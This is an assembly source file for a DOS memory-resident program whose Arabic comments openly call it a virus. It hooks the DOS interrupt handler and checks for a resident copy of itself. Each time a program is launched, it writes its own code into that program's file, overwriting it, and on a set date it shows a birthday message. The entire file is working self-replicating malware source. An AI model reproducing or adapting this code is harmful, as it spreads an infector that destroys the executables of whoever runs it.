;	Alazhar Univiresty
;	Faqulty of Engineering
;	Ahmed Samieh
;			Asm4pic@yahoo.com
;	22 - 7 - 2004
;	TSR.asm
;-----------------------------------------
.286
.model	tiny
codseg	segment	para
assume	cs:codseg,ds:codseg,es:codseg,ss:codseg
org     100h
Begin:
jmp	start
OldInt21        dd      ?
hFile		dw	?		; سوف نخزن فيه قابض الملف الذي سنفتحه
Len		dw	?
message		db	10,13,".... Happy Birth Day Eng \ Ahmed ......",10,13,'$'
fun:
cmp	ax,0FF00h		; نختبر الداله التي تم استدعائها وهذه الداله ليس لها وجود 
je	IamOK			; اذا وجد هذه الداله اذا الفايروس هو الذي يختبر وجوده في الذاكره
pushf
pusha
push	ds
cmp	ax,4B00h		; سنختبر اذا كانت الداله هي تشغيل برنامج
jne	Abort			; الداله ليست لتشغيل برنامج
mov	ax,3d02h		; سوف نقوم بتحرير الملف الذي يريد المستخدم تشغيله
int	21h
push	cs
pop	ds
mov	hFile,ax		; نخزن قابض الملف
mov	dx,offset cs:Begin	; نعرف مكان بداية الفايروس في الذاكره
mov	cx,word ptr Len		; طول الفايروس المطلوب كتابته في الملف تم تخزينه مسبقا
mov	ah,40h			; دالة الكتابه الى الملف
mov	bx,hFile
int	21h
mov	bx,hFile
mov	ah,3Eh			; دالة غلق الملف
int	21h
mov	dx,70h			; لقرائة التاريخ ومقارنته
mov	al,07h
out	dx,al
inc	dx
in	al,dx
cmp	al,10h
jne	Abort
dec	dx
mov	al,08h
out	dx,al
inc	dx
in	al,dx
cmp	al,11h
jne	Abort
mov	ax,0E07h
int	10h
lea	dx,byte ptr cs:message
mov	ax,0900h
int	21h
Abort:
pop	ds
popa
popf
jmp     cs:OldInt21
IamOK:
mov	ax,0E07h			; في حالة أن الفايروس هو الذي يختبر وجوده في الذاكره
int	10h				; Beep
mov	ax,1982h			; نرسل بصمه تثبت وجود الفايروس في الذاكره
iret					; نرجع من المقاطعه
start:
mov	ax,0FF00h			; لكي نختبر وجود الفايروس في الذاكره
int	21h
cmp	ax,1982h			; نختبر البصمه التي حددناها
je	The_End				; نعم الفايروس في الذاكره لا داعي لتحميله مره اخرى
cli					; أكمل تثبيت الفايروس الذاكره خاليه من أي نسخه
lea	dx,Begin			; بداية الفايروس
lea	ax,The_End			; نهاية الفايروس
sub	ax,dx				; طول الفايروس = نهاية الفايروس - بدايته
mov	word ptr Len,ax			; نخزن طول الفايروس
push    cs
pop     ds
mov	ax,3521h
int	21h
mov     word ptr OldInt21,bx
mov     word ptr OldInt21+2,es
mov	ax,2521h
mov     dx,offset       cs:fun
int	21h
mov     ax,3100h
mov     dx,offset       The_End
sti
int	21h
The_End:
mov	ax,4C00h
int	21h
codseg	ends
end	Begin